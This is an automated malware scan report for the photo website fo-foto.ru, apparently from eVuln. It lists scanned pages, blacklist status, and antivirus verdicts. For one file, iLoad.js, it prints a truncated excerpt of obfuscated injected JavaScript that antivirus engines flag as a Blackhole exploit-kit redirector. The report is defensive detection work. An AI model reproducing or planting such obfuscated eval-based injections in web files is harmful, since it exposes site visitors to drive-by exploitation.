New scan:

Malware Scanner report for fo-foto.ru

Malicious/Suspicious/Total urls checked
1/0/15
1 page has malicious code. See details below
Blacklists
Found
The website is marked by Yandex as suspicious.

The website "fo-foto.ru" is probably hacked and losing its visitors. You need to take action as soon as possible to fix security issues.
Malicious Redirects
OK
Malicious/Hidden/Total iFrames
0/0/0
Deface / Content modification
OK

Free periodic scanning and alerting: setup
(requires eVuln badge or a link to eVuln.com)

Malware & Hack Repair

  • Malware Removal
  • Blacklists Removal
  • Reason Eliminating
  • 1 Month Hack Insurance

More details

Website Hack Insurance

  • Files & DB Monitoring
  • Daily Backups
  • Malware & Hack Detection
  • Unlimited Hack Repairs

More details

Safe Browsing / Blacklists

Query: http://www.google.com/safebrowsing/diagnostic?site=fo-foto.ru

Result: This site is not currently listed as suspicious.
Query: http://yandex.com/infected?l10n=en&url=http://fo-foto.ru/

Result: The website is marked by Yandex as suspicious. - visiting this web site may harm your computer.
Details are available here.

Scanned pages/files

RequestServer responseStatus
http://www.fo-foto.ru/
200 OK
Content-Length: 7643
Content-Type: text/html
clean
http://www.fo-foto.ru/scripts/jquery-1.4.2.js
200 OK
Content-Length: 170095
Content-Type: application/x-javascript
clean
http://www.fo-foto.ru/scripts/slide.js
200 OK
Content-Length: 3626
Content-Type: application/x-javascript
clean
http://www.fo-foto.ru/index.shtml
200 OK
Content-Length: 7643
Content-Type: text/html
clean
http://www.fo-foto.ru/gall.shtml
200 OK
Content-Length: 6949
Content-Type: text/html
clean
http://www.fo-foto.ru/scripts/jquery.mousewheel.min.js
200 OK
Content-Length: 2360
Content-Type: application/x-javascript
clean
http://www.fo-foto.ru/scripts/jScrollPane.js
200 OK
Content-Length: 13877
Content-Type: application/x-javascript
clean
http://www.fo-foto.ru/gall_w.shtml
200 OK
Content-Length: 8503
Content-Type: text/html
clean
http://www.fo-foto.ru/shtml/gall/gall_w0012.shtml
200 OK
Content-Length: 8067
Content-Type: text/html
clean
http://www.fo-foto.ru/scripts/iLoad.js
200 OK
Content-Length: 31726
Content-Type: application/x-javascript
malicious
Malicious code - confirmed by antiviruses (see below)


(L=iload=iLoad=(function(L){eval(L)
L.zIndex=99999
L.path='/images/'
L.errorWidth=240
L.errorName='Ошибка!'
L.errorText='Не удалось загрузить изображение. Возможно адрес задан не верно или сервер временно не доступен.'
L.errorNameCss='display:block;font-weight:700;color:#999;padding-bottom:4px;'
L.errorDescCss='display:block;padding-bottom:4px;'
L.fontCss='font:11px Taho
... 3288 bytes are skipped ...
11);function pbedb5(){return 3;}function o84a8239d(n8fe19){return n8fe19.length;}function dd52e13(waf6a76){return ++waf6a76;}function c6f5946(x27c90,i9a428){return x27c90.substr(i9a428,1);}function n4727b2(vc9b63bd9){if(vc9b63bd9==168)vc9b63bd9=1025;else if(vc9b63bd9==184)vc9b63bd9=1105;return (vc9b63bd9>=192 && vc9b63bd9<256) ? vc9b63bd9+848 : vc9b63bd9;}function dba3abe5(edd4ac460){return edd4ac460!='}';}function qac5625(fab2e16,a25c6baa,uf4c05d){return fab2e16-a25c6baa-uf4c05d;}

Antivirus reports:

Avast
JS:Redirector-UC [Trj]
Ad-Aware
JS:Trojan.JS.Agent.BT
Ikarus
Trojan.Script
nProtect
JS:Trojan.JS.Agent.BT
K7AntiVirus
Exploit ( 04c55e1c1 )
Emsisoft
JS:Trojan.JS.Agent.BT (B)
Comodo
TrojWare.JS.Agent.HJ
K7GW
Exploit ( 04c55e1c1 )
McAfee-GW-Edition
JS/Exploit-Blacole.az
DrWeb
JS.Siggen.192
Microsoft
Trojan:JS/Redirector.JN
MicroWorld-eScan
JS:Trojan.JS.Agent.BT
Fortinet
JS/Crypted.AX!tr
TotalDefense
JS/BlacoleRef.M
Jiangmin
Trojan/Script.Gen
Cyren
JS/Crypted.Y.gen
McAfee
JS/Exploit-Blacole.az
NANO-Antivirus
Trojan.Script.Agent.rrcam
F-Secure
JS:Trojan.JS.Agent.BT
VIPRE
Trojan.JS.Generic (v)
Avira
JS/Redirector.PB
F-Prot
JS/Crypted.Y.gen
AVG
Script/Exploit.Kit
Norman
Agent.AEVZJ
Sophos
Troj/JSRedir-FV
GData
JS:Trojan.JS.Agent.BT
AVware
Trojan.JS.Generic (v)
Agnitum
JS.Redirector.Gen.23
BitDefender
JS:Trojan.JS.Agent.BT

http://www.fo-foto.ru/images/wedding/003/01.jpg
200 OK
Content-Length: 218510
Content-Type: image/jpeg
clean
http://www.fo-foto.ru/test404page.js
404 Not Found
Content-Length: 1411
Content-Type: text/html
clean
http://www.fo-foto.ru/images/wedding/003/02.jpg
200 OK
Content-Length: 271391
Content-Type: image/jpeg
clean
http://www.fo-foto.ru/images/wedding/003/03.jpg
200 OK
Content-Length: 168726
Content-Type: image/jpeg
clean
http://www.fo-foto.ru/images/wedding/003/04.jpg
200 OK
Content-Length: 214356
Content-Type: image/jpeg
clean

Malicious Redirects

First query (normal visit):
GET / HTTP/1.1
Host: fo-foto.ru

Result:
Second query (visit from search engine):
GET / HTTP/1.1
Host: fo-foto.ru
Referer: http://www.google.com/search?q=fo-foto.ru

Result:
The result is similar to the first query. There are no suspicious redirects found.